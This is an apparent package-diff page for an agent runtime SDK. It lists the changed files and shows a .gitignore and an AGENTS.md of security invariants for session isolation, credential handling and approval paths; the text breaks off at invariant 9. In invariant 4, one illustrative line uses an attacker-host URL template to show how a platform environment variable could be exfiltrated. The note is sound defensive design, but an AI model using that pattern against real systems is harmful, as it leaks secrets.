agent-engine-runner-shared 0.0.0__tar.gz → 0.11.4__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (249) hide show
  1. agent_engine_runner_shared-0.11.4/.gitignore +86 -0
  2. agent_engine_runner_shared-0.11.4/AGENTS.md +73 -0
  3. agent_engine_runner_shared-0.11.4/CHANGELOG.md +60 -0
  4. agent_engine_runner_shared-0.11.4/Dockerfile +93 -0
  5. agent_engine_runner_shared-0.11.4/LICENSE +201 -0
  6. agent_engine_runner_shared-0.11.4/PKG-INFO +89 -0
  7. agent_engine_runner_shared-0.11.4/README.md +47 -0
  8. agent_engine_runner_shared-0.11.4/pyproject.toml +85 -0
  9. agent_engine_runner_shared-0.11.4/pyrightconfig.json +10 -0
  10. agent_engine_runner_shared-0.11.4/scripts/agentic-vendored-wheel-check.sh +120 -0
  11. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/__init__.py +214 -0
  12. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/__main__.py +12 -0
  13. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/a2a.py +271 -0
  14. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/a2a_auth.py +64 -0
  15. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/agent_config.py +574 -0
  16. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/async_utils.py +39 -0
  17. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/checkpoint_workspace.py +27 -0
  18. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/README.md +99 -0
  19. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/__init__.py +57 -0
  20. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/bundle.py +192 -0
  21. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/create_tool.py +206 -0
  22. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/definitions.py +602 -0
  23. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/executor.py +534 -0
  24. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/generate/README.md +200 -0
  25. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/generate/__init__.py +34 -0
  26. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/generate/authoring.py +199 -0
  27. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/generate/catalog.py +285 -0
  28. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/generate/modes.py +252 -0
  29. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/generate/naming.py +48 -0
  30. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/generate/parameters.py +673 -0
  31. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/generate/security.py +164 -0
  32. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/generate/spec.py +305 -0
  33. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/materialize.py +344 -0
  34. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/connectors/runtime.py +86 -0
  35. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/context.py +582 -0
  36. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/custom_events.py +216 -0
  37. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/db_config.py +73 -0
  38. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/db_naming.py +121 -0
  39. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/error_reporting.py +310 -0
  40. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/events.py +360 -0
  41. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/execution.py +27 -0
  42. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/generated/__init__.py +1 -0
  43. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/generated/workflow/__init__.py +1 -0
  44. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/generated/workflow/v1/__init__.py +1 -0
  45. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/generated/workflow/v1/activity_pb2.py +59 -0
  46. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/generated/workflow/v1/activity_pb2.pyi +150 -0
  47. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/generated/workflow/v1/common_pb2.py +49 -0
  48. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/generated/workflow/v1/common_pb2.pyi +81 -0
  49. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/generated/workflow/v1/runtime_pb2.py +49 -0
  50. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/generated/workflow/v1/runtime_pb2.pyi +84 -0
  51. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/generated/workflow/v1/state_pb2.py +54 -0
  52. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/generated/workflow/v1/state_pb2.pyi +106 -0
  53. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/guardrails_evaluator/__init__.py +20 -0
  54. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/guardrails_evaluator/core.py +141 -0
  55. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/guardrails_evaluator/regex.py +281 -0
  56. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/hooks.py +206 -0
  57. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/http_path.py +55 -0
  58. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/launcher.py +273 -0
  59. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/logging.py +584 -0
  60. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/mcp_oauth.py +587 -0
  61. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/mcp_oauth_cache_lock.py +28 -0
  62. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/mcp_oauth_cache_name.py +35 -0
  63. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/mcp_oauth_cli.py +476 -0
  64. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/mcp_oauth_secret.py +111 -0
  65. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/mcp_tools.py +474 -0
  66. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/memory.py +1506 -0
  67. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/memory_appbound.py +693 -0
  68. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/metrics.py +372 -0
  69. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/models.py +1972 -0
  70. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/node_logger.py +189 -0
  71. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/owner_callback.py +60 -0
  72. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/progress.py +239 -0
  73. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/py.typed +0 -0
  74. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/runtime.py +1545 -0
  75. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/secure_llm_proxy.py +886 -0
  76. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/secure_wrapper.py +1706 -0
  77. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/__init__.py +14 -0
  78. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/aer.py +1811 -0
  79. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/auth.py +149 -0
  80. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/base.py +422 -0
  81. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/call_interrupt.py +100 -0
  82. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/callback_delivery.py +234 -0
  83. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/chunk_types.py +83 -0
  84. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/cors.py +131 -0
  85. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/drain.py +714 -0
  86. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/function.py +304 -0
  87. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/graph_warm.py +102 -0
  88. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/http_retry.py +203 -0
  89. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/metadata.py +181 -0
  90. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/oe_url.py +63 -0
  91. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/owner_url.py +144 -0
  92. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/query.py +51 -0
  93. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/server/tool.py +1146 -0
  94. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/span_kinds.py +58 -0
  95. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/span_names.py +47 -0
  96. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/structured_logging.py +475 -0
  97. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/tls_client.py +314 -0
  98. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/tool_api_error.py +277 -0
  99. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/tool_memory_ownership.py +36 -0
  100. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/toolpod_handlers.py +1042 -0
  101. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/tracing/__init__.py +62 -0
  102. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/tracing/exporters.py +410 -0
  103. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/tracing/setup.py +539 -0
  104. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/types.py +476 -0
  105. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/utils.py +1083 -0
  106. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/workflow/__init__.py +78 -0
  107. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/workflow/activity.py +645 -0
  108. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/workflow/attempt.py +193 -0
  109. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/workflow/client.py +639 -0
  110. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/workflow/context.py +653 -0
  111. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/workflow/heartbeat.py +184 -0
  112. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/workflow/memory.py +245 -0
  113. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/workflow/protojson.py +111 -0
  114. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/workflow/reconnect.py +49 -0
  115. agent_engine_runner_shared-0.11.4/src/agent_engine_runner_shared/workflow/settlement.py +28 -0
  116. agent_engine_runner_shared-0.11.4/tests/__init__.py +1 -0
  117. agent_engine_runner_shared-0.11.4/tests/conftest.py +18 -0
  118. agent_engine_runner_shared-0.11.4/tests/corpus/.gitignore +2 -0
  119. agent_engine_runner_shared-0.11.4/tests/corpus/README.md +29 -0
  120. agent_engine_runner_shared-0.11.4/tests/corpus/__init__.py +0 -0
  121. agent_engine_runner_shared-0.11.4/tests/corpus/fetch_corpus.py +52 -0
  122. agent_engine_runner_shared-0.11.4/tests/corpus/manifest.json +1656 -0
  123. agent_engine_runner_shared-0.11.4/tests/corpus/test_api_corpus.py +158 -0
  124. agent_engine_runner_shared-0.11.4/tests/integration/__init__.py +0 -0
  125. agent_engine_runner_shared-0.11.4/tests/integration/mock_embedder.py +47 -0
  126. agent_engine_runner_shared-0.11.4/tests/integration/test_a2a_trace_propagation.py +193 -0
  127. agent_engine_runner_shared-0.11.4/tests/integration/test_runtime.py +76 -0
  128. agent_engine_runner_shared-0.11.4/tests/integration/test_secure_async.py +39 -0
  129. agent_engine_runner_shared-0.11.4/tests/integration/test_secure_sync.py +48 -0
  130. agent_engine_runner_shared-0.11.4/tests/integration/test_tracing_otlp_wire_format.py +86 -0
  131. agent_engine_runner_shared-0.11.4/tests/pact/conftest.py +18 -0
  132. agent_engine_runner_shared-0.11.4/tests/pact/test_oe_provider_verification.py +377 -0
  133. agent_engine_runner_shared-0.11.4/tests/unit/__init__.py +0 -0
  134. agent_engine_runner_shared-0.11.4/tests/unit/connectors/__init__.py +0 -0
  135. agent_engine_runner_shared-0.11.4/tests/unit/connectors/fixtures/jira.tool_defs.yaml +33 -0
  136. agent_engine_runner_shared-0.11.4/tests/unit/connectors/test_bundle.py +155 -0
  137. agent_engine_runner_shared-0.11.4/tests/unit/connectors/test_core.py +1208 -0
  138. agent_engine_runner_shared-0.11.4/tests/unit/connectors/test_create_tool.py +483 -0
  139. agent_engine_runner_shared-0.11.4/tests/unit/connectors/test_generate.py +1859 -0
  140. agent_engine_runner_shared-0.11.4/tests/unit/connectors/test_materialize.py +435 -0
  141. agent_engine_runner_shared-0.11.4/tests/unit/test_a2a.py +556 -0
  142. agent_engine_runner_shared-0.11.4/tests/unit/test_a2a_auth.py +119 -0
  143. agent_engine_runner_shared-0.11.4/tests/unit/test_aer_a2a_registration.py +405 -0
  144. agent_engine_runner_shared-0.11.4/tests/unit/test_aer_build_agent_span.py +60 -0
  145. agent_engine_runner_shared-0.11.4/tests/unit/test_aer_capability_advertise.py +444 -0
  146. agent_engine_runner_shared-0.11.4/tests/unit/test_aer_chunk_delivery_reliability.py +1484 -0
  147. agent_engine_runner_shared-0.11.4/tests/unit/test_aer_chunk_emission.py +641 -0
  148. agent_engine_runner_shared-0.11.4/tests/unit/test_aer_durable_attempt.py +948 -0
  149. agent_engine_runner_shared-0.11.4/tests/unit/test_aer_llm_invocation_signal.py +376 -0
  150. agent_engine_runner_shared-0.11.4/tests/unit/test_aer_metadata_payload.py +686 -0
  151. agent_engine_runner_shared-0.11.4/tests/unit/test_aer_policy_denied.py +134 -0
  152. agent_engine_runner_shared-0.11.4/tests/unit/test_aer_session_finish.py +443 -0
  153. agent_engine_runner_shared-0.11.4/tests/unit/test_aer_timeout_signal.py +96 -0
  154. agent_engine_runner_shared-0.11.4/tests/unit/test_aer_trace_context.py +169 -0
  155. agent_engine_runner_shared-0.11.4/tests/unit/test_aer_workspace_scope.py +46 -0
  156. agent_engine_runner_shared-0.11.4/tests/unit/test_agent_config.py +1216 -0
  157. agent_engine_runner_shared-0.11.4/tests/unit/test_async_utils.py +123 -0
  158. agent_engine_runner_shared-0.11.4/tests/unit/test_call_interrupt.py +760 -0
  159. agent_engine_runner_shared-0.11.4/tests/unit/test_call_interrupt_contract.py +57 -0
  160. agent_engine_runner_shared-0.11.4/tests/unit/test_checkpoint_workspace.py +36 -0
  161. agent_engine_runner_shared-0.11.4/tests/unit/test_cors.py +127 -0
  162. agent_engine_runner_shared-0.11.4/tests/unit/test_create_memory_client_headers.py +110 -0
  163. agent_engine_runner_shared-0.11.4/tests/unit/test_custom_headers_context.py +94 -0
  164. agent_engine_runner_shared-0.11.4/tests/unit/test_custom_headers_models.py +154 -0
  165. agent_engine_runner_shared-0.11.4/tests/unit/test_db_naming.py +177 -0
  166. agent_engine_runner_shared-0.11.4/tests/unit/test_drain.py +694 -0
  167. agent_engine_runner_shared-0.11.4/tests/unit/test_drain_contract.py +60 -0
  168. agent_engine_runner_shared-0.11.4/tests/unit/test_durable_proxies.py +432 -0
  169. agent_engine_runner_shared-0.11.4/tests/unit/test_emit_custom_event.py +342 -0
  170. agent_engine_runner_shared-0.11.4/tests/unit/test_emit_progress.py +452 -0
  171. agent_engine_runner_shared-0.11.4/tests/unit/test_error_reporting.py +265 -0
  172. agent_engine_runner_shared-0.11.4/tests/unit/test_execution.py +24 -0
  173. agent_engine_runner_shared-0.11.4/tests/unit/test_extract_turn_messages.py +274 -0
  174. agent_engine_runner_shared-0.11.4/tests/unit/test_format_llm_error.py +70 -0
  175. agent_engine_runner_shared-0.11.4/tests/unit/test_function_mode.py +852 -0
  176. agent_engine_runner_shared-0.11.4/tests/unit/test_graph_warm.py +171 -0
  177. agent_engine_runner_shared-0.11.4/tests/unit/test_guardrails_protocol.py +598 -0
  178. agent_engine_runner_shared-0.11.4/tests/unit/test_hitl_interrupt.py +1021 -0
  179. agent_engine_runner_shared-0.11.4/tests/unit/test_hooks.py +138 -0
  180. agent_engine_runner_shared-0.11.4/tests/unit/test_http_path.py +22 -0
  181. agent_engine_runner_shared-0.11.4/tests/unit/test_http_retry.py +328 -0
  182. agent_engine_runner_shared-0.11.4/tests/unit/test_launcher.py +844 -0
  183. agent_engine_runner_shared-0.11.4/tests/unit/test_listen_host.py +54 -0
  184. agent_engine_runner_shared-0.11.4/tests/unit/test_llm_credential_classification.py +309 -0
  185. agent_engine_runner_shared-0.11.4/tests/unit/test_llm_routing.py +1480 -0
  186. agent_engine_runner_shared-0.11.4/tests/unit/test_logger.py +153 -0
  187. agent_engine_runner_shared-0.11.4/tests/unit/test_mcp_oauth.py +1146 -0
  188. agent_engine_runner_shared-0.11.4/tests/unit/test_mcp_oauth_cli.py +379 -0
  189. agent_engine_runner_shared-0.11.4/tests/unit/test_mcp_oauth_secret.py +152 -0
  190. agent_engine_runner_shared-0.11.4/tests/unit/test_mcp_tools.py +810 -0
  191. agent_engine_runner_shared-0.11.4/tests/unit/test_memory_appbound.py +1030 -0
  192. agent_engine_runner_shared-0.11.4/tests/unit/test_memory_search_metadata.py +170 -0
  193. agent_engine_runner_shared-0.11.4/tests/unit/test_memory_writer_context.py +249 -0
  194. agent_engine_runner_shared-0.11.4/tests/unit/test_metadata.py +334 -0
  195. agent_engine_runner_shared-0.11.4/tests/unit/test_metrics.py +42 -0
  196. agent_engine_runner_shared-0.11.4/tests/unit/test_models.py +799 -0
  197. agent_engine_runner_shared-0.11.4/tests/unit/test_no_lc_imports.py +46 -0
  198. agent_engine_runner_shared-0.11.4/tests/unit/test_node_logger.py +323 -0
  199. agent_engine_runner_shared-0.11.4/tests/unit/test_oe_url.py +72 -0
  200. agent_engine_runner_shared-0.11.4/tests/unit/test_owner_callback.py +109 -0
  201. agent_engine_runner_shared-0.11.4/tests/unit/test_owner_url.py +164 -0
  202. agent_engine_runner_shared-0.11.4/tests/unit/test_payload_context.py +63 -0
  203. agent_engine_runner_shared-0.11.4/tests/unit/test_query_routes.py +281 -0
  204. agent_engine_runner_shared-0.11.4/tests/unit/test_request_id_context.py +30 -0
  205. agent_engine_runner_shared-0.11.4/tests/unit/test_resume_payload.py +25 -0
  206. agent_engine_runner_shared-0.11.4/tests/unit/test_runtime_build_context_from_sources.py +397 -0
  207. agent_engine_runner_shared-0.11.4/tests/unit/test_runtime_checkpoint_workspace.py +41 -0
  208. agent_engine_runner_shared-0.11.4/tests/unit/test_runtime_custom_memory.py +50 -0
  209. agent_engine_runner_shared-0.11.4/tests/unit/test_runtime_memory_context.py +916 -0
  210. agent_engine_runner_shared-0.11.4/tests/unit/test_runtime_models.py +246 -0
  211. agent_engine_runner_shared-0.11.4/tests/unit/test_runtime_register_tool.py +52 -0
  212. agent_engine_runner_shared-0.11.4/tests/unit/test_secure_llm_proxy.py +1519 -0
  213. agent_engine_runner_shared-0.11.4/tests/unit/test_secure_wrapper.py +3431 -0
  214. agent_engine_runner_shared-0.11.4/tests/unit/test_server_auth.py +145 -0
  215. agent_engine_runner_shared-0.11.4/tests/unit/test_server_health.py +99 -0
  216. agent_engine_runner_shared-0.11.4/tests/unit/test_server_shutdown.py +91 -0
  217. agent_engine_runner_shared-0.11.4/tests/unit/test_session_filesystem_isolation.py +681 -0
  218. agent_engine_runner_shared-0.11.4/tests/unit/test_session_finish_context.py +169 -0
  219. agent_engine_runner_shared-0.11.4/tests/unit/test_structured_logging.py +1177 -0
  220. agent_engine_runner_shared-0.11.4/tests/unit/test_thinking_tokens.py +64 -0
  221. agent_engine_runner_shared-0.11.4/tests/unit/test_tls_client.py +295 -0
  222. agent_engine_runner_shared-0.11.4/tests/unit/test_tls_client_integration.py +290 -0
  223. agent_engine_runner_shared-0.11.4/tests/unit/test_token_capture.py +280 -0
  224. agent_engine_runner_shared-0.11.4/tests/unit/test_tool.py +1024 -0
  225. agent_engine_runner_shared-0.11.4/tests/unit/test_tool_api_error.py +380 -0
  226. agent_engine_runner_shared-0.11.4/tests/unit/test_tool_authorization.py +24 -0
  227. agent_engine_runner_shared-0.11.4/tests/unit/test_tool_cancellation_boundary.py +205 -0
  228. agent_engine_runner_shared-0.11.4/tests/unit/test_tool_deserialization.py +82 -0
  229. agent_engine_runner_shared-0.11.4/tests/unit/test_tool_log_redaction.py +247 -0
  230. agent_engine_runner_shared-0.11.4/tests/unit/test_tool_memory_ownership.py +197 -0
  231. agent_engine_runner_shared-0.11.4/tests/unit/test_tool_server_startup.py +1574 -0
  232. agent_engine_runner_shared-0.11.4/tests/unit/test_tool_trace_context.py +371 -0
  233. agent_engine_runner_shared-0.11.4/tests/unit/test_toolpod_handlers.py +633 -0
  234. agent_engine_runner_shared-0.11.4/tests/unit/test_tracing_exporter.py +1095 -0
  235. agent_engine_runner_shared-0.11.4/tests/unit/test_tracing_retry.py +471 -0
  236. agent_engine_runner_shared-0.11.4/tests/unit/test_types.py +108 -0
  237. agent_engine_runner_shared-0.11.4/tests/unit/workflow/test_activity.py +1369 -0
  238. agent_engine_runner_shared-0.11.4/tests/unit/workflow/test_attempt.py +191 -0
  239. agent_engine_runner_shared-0.11.4/tests/unit/workflow/test_client.py +1176 -0
  240. agent_engine_runner_shared-0.11.4/tests/unit/workflow/test_context.py +491 -0
  241. agent_engine_runner_shared-0.11.4/tests/unit/workflow/test_heartbeat.py +161 -0
  242. agent_engine_runner_shared-0.11.4/tests/unit/workflow/test_memory.py +148 -0
  243. agent_engine_runner_shared-0.11.4/tests/unit/workflow/test_protojson.py +141 -0
  244. agent_engine_runner_shared-0.11.4/tests/unit/workflow/test_protojson_helpers.py +102 -0
  245. agent_engine_runner_shared-0.11.4/tests/unit/workflow/test_settlement.py +115 -0
  246. agent_engine_runner_shared-0.0.0/PKG-INFO +0 -17
  247. agent_engine_runner_shared-0.0.0/README.md +0 -9
  248. agent_engine_runner_shared-0.0.0/pyproject.toml +0 -18
  249. agent_engine_runner_shared-0.0.0/src/agent_engine_runner_shared_placeholder/__init__.py +0 -6
@@ -0,0 +1,86 @@
1
+ # Python
2
+ __pycache__/
3
+ *.py[cod]
4
+ *$py.class
5
+ *.so
6
+ *.egg
7
+ *.egg-info/
8
+ dist/
9
+ build/
10
+ eggs/
11
+ parts/
12
+ var/
13
+ sdist/
14
+ wheels/
15
+ *.egg-link
16
+ MANIFEST
17
+
18
+ # Virtual environments
19
+ .venv/
20
+ venv/
21
+ env/
22
+ ENV/
23
+
24
+ # Distribution / packaging
25
+ .Python
26
+ pip-wheel-metadata/
27
+ share/python-wheels/
28
+ *.dist-info/
29
+
30
+ # Testing
31
+ .tox/
32
+ .nox/
33
+ .coverage
34
+ .coverage.*
35
+ .cache
36
+ coverage.xml
37
+ *.cover
38
+ *.py,cover
39
+ htmlcov/
40
+ .pytest_cache/
41
+ nosetests.xml
42
+
43
+ # Type checking
44
+ .mypy_cache/
45
+ .dmypy.json
46
+ dmypy.json
47
+ .pytype/
48
+ .pyre/
49
+
50
+ # Jupyter
51
+ .ipynb_checkpoints
52
+ *.ipynb_checkpoints/
53
+
54
+ # Environments
55
+ .env
56
+ .env.*
57
+ !.env.example
58
+
59
+ # IDE
60
+ .idea/
61
+ .vscode/
62
+ *.swp
63
+ *.swo
64
+ *~
65
+
66
+ # OS
67
+ .DS_Store
68
+ Thumbs.db
69
+
70
+ # Docs build
71
+ docs/_build/
72
+ site/
73
+
74
+
75
+ logs/
76
+
77
+ # Pages named "logs" inside UI source trees are source code, not runtime log directories.
78
+ !**/pages/logs/
79
+
80
+ # Large local observability artifacts
81
+ packages/python/examples/insurance-agent/observability/*.jsonl
82
+
83
+ # Compiled CLI binary (scoped to agentengine-cli/ root, not cmd/agentengine/)
84
+ agentengine-cli/agentic
85
+
86
+ node_modules
@@ -0,0 +1,73 @@
1
+ # agent-engine-runner-shared
2
+
3
+ Runner SDK conventions that extend the root [AGENTS.md](../../../../../AGENTS.md). This file is auto-loaded by AI agents when working under `client-libraries/packages/python/packages/agent-engine-runner-shared/`. It captures invariants that apply specifically to the Runner SDK — the Python framework code that runs in the OE, AER, and Tool Pod.
4
+
5
+ These invariants apply to the **platform framework code** in this package. They do NOT restrict what user-written agent code can import or do — that is enforced by the micro-VM at runtime.
6
+
7
+ ---
8
+
9
+ ## Security Invariants
10
+
11
+ ### 1. Audited I/O path
12
+
13
+ The SecureToolWrapper ([`src/agent_engine_runner_shared/secure_wrapper.py`](src/agent_engine_runner_shared/secure_wrapper.py)) is the platform's audited I/O layer. All `@app.tool()` and `app.get_llm()` calls route through the Orchestration Engine for approval, logging, and policy enforcement. Framework code must not introduce shortcuts that bypass this path.
14
+
15
+ - Do not add alternative I/O paths that skip the OE approval/logging flow.
16
+ - The framework code (`src/`) is the only code that implements the wrapper internals.
17
+ - Durable Workflow records that same path as OE events. Adapters must not introduce a second persistence authority for LLM, tool, or Memory effects. Teaching docs: [`docs/orchestration-engine/durable-workflow/`](../../../../../docs/orchestration-engine/durable-workflow/).
18
+
19
+ ### 2. State must be fully serializable to JSON/BSON
20
+
21
+ Agent pods are ephemeral — they can be terminated between execution steps (e.g., during human-in-the-loop review). On resume, a fresh pod restores state from the checkpoint. State carries forward, but only if it survives serialization.
22
+
23
+ - **Allowed in agent state** (`TypedDict`, `AgentState`): `str`, `int`, `float`, `bool`, `None`, `list`, `dict`, `datetime`, `Enum`, and LangChain `BaseMessage` subclasses. JSON-compatible primitives, standard Python collections, and LangChain/LangGraph-native types work automatically.
24
+ - **Forbidden in agent state**: lambdas, closures, function references, file handles, DB connections, sockets, custom classes without serialization support, thread/process objects.
25
+
26
+ ### 3. Tool Pod filesystem state is scoped per session
27
+
28
+ All Tool Pod filesystem handlers ([`src/agent_engine_runner_shared/toolpod_handlers.py`](src/agent_engine_runner_shared/toolpod_handlers.py)) scope on-disk state by the current session via `get_current_session_id()`. Bypassing `_effective_workspace_dir()` and writing directly to `WORKSPACE_DIR` is a cross-session data leak — concurrent sessions on the same Tool Pod must never share filesystem state.
29
+
30
+ - Do not call `os.path.join(WORKSPACE_DIR, ...)` directly in handler code; route through `_resolve()`.
31
+ - Read-only bundled resources (e.g. agent skill files under `<agent-source-root>/skills/`, configured via `AGENTIC_AGENT_CONFIG_PATH` / `AGENTIC_AGENT_WORKDIR` + `AGENTIC_SKILLS_DIR`) live **outside** `WORKSPACE_DIR` in the read-only resource roots (`get_readonly_resource_roots()`). Read-only handlers call `_resolve(path, allow_readonly_roots=True)` to reach them; mutating handlers (`filesystem_write`, `filesystem_edit`) do not pass that flag, so they cannot write through to bundled resources.
32
+
33
+ ### 4. Platform env vars must be added to `_PLATFORM_ENV_VARS`
34
+
35
+ Tenant `agent.yaml` supports `${VAR}` interpolation at allowlisted paths (currently `mcp.servers.*.url`). The substitution mapping is the **tenant-owned** subset of `os.environ`, produced by `tenant_env_vars()` in [`src/agent_engine_runner_shared/utils.py`](src/agent_engine_runner_shared/utils.py). The filter relies on a fixed list of platform-owned names and prefixes — `_PLATFORM_ENV_VARS` and `_PLATFORM_ENV_VAR_PREFIXES` — so a new platform-owned env var that is not added there is implicitly treated as tenant-owned and becomes dereferenceable from tenant YAML.
36
+
37
+ - When you add a new platform env var read anywhere in `agent-engine-runner-shared` (`runtime.py`, server modules, launcher helpers, sandbox handlers, etc.), add its name to `_PLATFORM_ENV_VARS` in the same change.
38
+ - For families of vars sharing a common prefix (e.g. credential blobs injected by the launcher), extend `_PLATFORM_ENV_VAR_PREFIXES` instead.
39
+ - Forgetting this step lets tenant YAML do `url: https://attacker/${NEW_PLATFORM_VAR}` and exfiltrate the value via the resolved URL.
40
+
41
+ ### 5. Request-scoped credentials must not overlap through process-global state
42
+
43
+ Per-request credentials (delegated tokens, brokered secrets) must stay request-local. Never write them into process-global state — including `os.environ` — that a concurrent request on the same process can observe: two sessions sharing a pod would read each other's credentials. Pass credentials through request context / function arguments, and if a library forces env-var configuration, isolate it per subprocess with an explicit environment rather than mutating the parent process env.
44
+
45
+ ### 6. Disconnect and cancellation paths must clean up
46
+
47
+ Every code path that acquires request-scoped state (credentials, session-scoped files, in-flight approval bookkeeping) must release it on client disconnect and task cancellation, not only on normal completion. A disconnect that leaves credentials or session identity behind lets the next request on the same worker inherit them.
48
+
49
+ ### 7. Tool result content must never become control data
50
+
51
+ Approval, resume, and session-control decisions must be driven by authenticated, typed control messages from the platform — never by a magic key, shape, or sentinel value found inside tool result content or LLM output. Untrusted content that can impersonate a control signal is an approval bypass. When adding a control path, define an explicit typed message and verify its origin; never pattern-match the data channel.
52
+
53
+ ### 8. Session/workspace identity must remain request-local
54
+
55
+ The session ID and workspace identity used for scoping (filesystem, memory, credentials) must be derived per request from the authenticated context, never cached in a process-global variable that a concurrent or later request could inherit.
56
+
57
+ ### 9. Owner-callback POSTs follow one shared policy
58
+
59
